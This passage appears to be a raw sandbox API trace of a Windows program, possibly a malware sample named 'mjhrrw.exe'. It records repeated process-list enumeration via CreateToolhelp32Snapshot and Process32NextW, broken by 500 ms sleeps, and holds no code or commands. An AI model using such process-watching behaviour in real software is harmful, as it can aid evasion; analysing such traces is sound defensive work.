th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0228.452] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0228.453] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0228.453] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0228.454] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.454] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0228.455] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0228.455] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0228.456] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0228.456] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0228.457] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0228.458] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0228.458] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0228.459] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0228.459] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0228.460] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0228.460] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0228.461] CloseHandle (hObject=0x318) returned 1 [0228.461] Sleep (dwMilliseconds=0x1f4) [0229.302] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0229.310] Process32FirstW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.310] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0229.311] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0229.311] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0229.312] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0229.313] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0229.313] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0229.314] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0229.314] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0229.315] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0229.315] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0229.316] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.316] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.317] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0229.318] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.318] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.319] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.319] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.320] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.320] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.321] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.322] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.322] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.323] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.323] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0229.324] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.324] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0229.325] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0229.325] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0229.326] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0229.326] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0229.327] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.328] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0229.328] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0229.329] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0229.329] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0229.330] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0229.330] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0229.332] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0229.332] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0229.333] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0229.334] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0229.334] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0229.335] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0229.335] CloseHandle (hObject=0x368) returned 1 [0229.335] Sleep (dwMilliseconds=0x1f4) [0230.103] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0230.107] Process32FirstW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.108] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0230.109] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0230.109] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.110] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0230.110] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.111] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0230.111] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0230.112] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.113] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0230.113] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0230.114] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.115] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.115] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0230.116] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.116] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.117] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.118] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.118] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.119] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.119] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.120] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.120] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, 